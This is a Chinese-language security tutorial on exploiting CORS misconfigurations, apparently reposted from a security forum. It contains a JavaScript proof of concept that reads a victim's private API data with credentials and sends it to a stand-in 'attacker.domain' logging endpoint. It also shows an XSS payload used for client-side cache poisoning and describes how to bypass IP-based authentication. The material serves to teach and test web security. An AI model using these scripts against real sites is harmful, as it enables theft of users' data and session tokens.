资料:https://xz.aliyun.com/t/2745?accounttraceid=f02d5106-b6de-40fe-be15-cdee983ba6bf
cors(跨域资源共享)
跨域资源共享(cors)可以放宽浏览器的同源策略,可以通过浏览器让不同的网站和不同的服务器之间通信。(绕过same-origin policy)
same-origin policy(同源策略)
一个浏览器中访问的网站不能访问另一个网站的数据,除非两个网站具有相同的origin(根源),也即是拥有相同的“协议”,“域名”,端口“。一旦这三项数据中有一项不同,那么该资源就将被认为是从不同的origin 得来,进而不被允许访问。
CORS的标准定义:
通过设置http头部字段,让客户端有资格跨域访问资源。通过服务器的验证和授权之后,浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。
主要的头部字段包含:“Access-Control-Allow-Origin”
与CORS相关的参数
"Access-Control-Request-Method"
"Access-Control-Request-Headers"
"Origin"
"Access-Control-Allow-Credentials"
"Vary"
CORS 中的数据传送
默认情况下,如果没有设置“Access-Control-Allow-Credentials”这个头的话,浏览器发送的请求就不会带有用户的身份数据(cookie或者HTTP身份数据),所以就不会泄露用户隐私信息。
CORS 的利用特征:
1.通常当发送包中存在origin字段时,服务器会根据该字段配置CORS,因此很容易产生漏洞
2.当相应报中存在"Access-control-*"时,但是没有定义源,很可能发送报文中的"origin"决定的
CORS 的利用:
在确定了发送包中的origin能够影响相应包,如下:
GET /handler_to_test HTTP/1.1
Host: target.domain
Origin: https://attaker.domain
Connection: close
然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段
HTTP/1.1 200 OK
…
Access-control-allow-credentials: true
Access-control-allow-origin: https://attacker.domain
…
在这次测试示例中,服务器返回的报文头部中已经表明完全信任“attacker.domain”这个域,并且可以向这个域中发送用户凭据。
泄露用户数据
当“Access-Control-Allow-Credentials”设置为Ture时,利用这种CORS这种配置缺陷的基本技术就是创建一个JavaScript脚本去发送CORS请求,就像下面那样:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(“get”,”https://vulnerable.domain/api/private-data”,true);
req.withCredentials = true;
req.send();
function reqListener() {
location=”//attacker.domain/log?response=”+this.responseText;
};
用这样的代码黑客就可以通过有缺陷的“日志”接口偷到用户数据。
当带有目标系统用户凭据的受害者访问带有上述代码的页面的时候,浏览器就会发送下面的请求到“有漏洞服务器”
GET /api/private-data HTTP/1.1
Host: vulnerable.domain
Origin: https://attacker.domain/
Cookie: JSESSIONID=<redacted>
然后就会收到下面的返回数据
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: https://attacker.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
Vary: Origin
Expires: Thu, 01 Jan 1970 12:00:00 GMT
Last-Modified: Wed, 02 May 2018 09:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json;charset=ISO-8859-1
Date: Wed, 02 May 2018 09:07:07 GMT
Connection: close
Content-Length: 149
{"id":1234567,"name":"Name","surname":"Surname","email":"email@target.local","account":"ACT1234567","balance":"123456,7","token":"to
p-secret-string"}
因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。
没有用户凭据的利用方式
在这种情况下,目标应用允许通过发送“Origin”去影响返回头“Access-Control-Allow-Origin”的值,但是不允许传输用户凭证
下面这个表简要说明基于CORS配置的可利用性
Access-Control-Allow-Origin” 值 是否可利用
null 是
* 是
如果不能携带用户凭据的话,那么就会减少攻击者的攻击面,并且很明显的是,攻击者将很难拿到用户的cookie。此外,会话固定攻击也是不可行的,因为浏览器会忽略应用设置的新的cookie。
3.3.1绕过基于ip的身份验证
实际的攻击中总有意外,如果目标从受害者的网络中可以到达,但使用ip地址作为身份验证的方式。这种情况通常发生在缺乏严格控制的内网中。
在这种场景下,黑客会利用受害者的浏览器作为代理去访问那些应用并且可以绕过那些基于ip的身份验证。就影响而言,这个类似于DNS重绑定,但会更容易利用。
3.3.2客户端缓存中毒
这种配置允许攻击者利用其他的漏洞。
比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上。
请求:
GET /login HTTP/1.1
Host: www.target.local
Origin: https://attacker.domain/
X-User: <svg/onload=alert(1)>
返回报文(注意:“Access-Control-Allow-Origin”已经被设置,但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置)
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.domain/
…
Content-Type: text/html
…
Invalid user: <svg/onload=alert(1)
攻击者可以把xss的exp放在自己控制的服务器中的JavaScript代码里面然后等待受害者去触发它。
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.target.local/login',true);
req.setRequestHeader('X-User', '<svg/onload=alert(1)>');
req.send();
function reqListener() {
location='http://www.target.local/login';
}
如果在返回报文中头部没有设置“Vary: Origin”,那么可以利用上面展示的例子,可以让受害者浏览器中的缓存中存储返回数据报文(这要基于浏览器的行为)并且当浏览器访问到相关URL的时候就会直接显示出来。(通过重定向来实现,可以用“reqListener()”这个方法)
如果没有CORS的话,上面的缺陷就没法利用,因为没有办法让受害者浏览器发送自定义头部,但是如果有了CORS,就可以用“XMLHttpRequest”做这个事情。
网友评论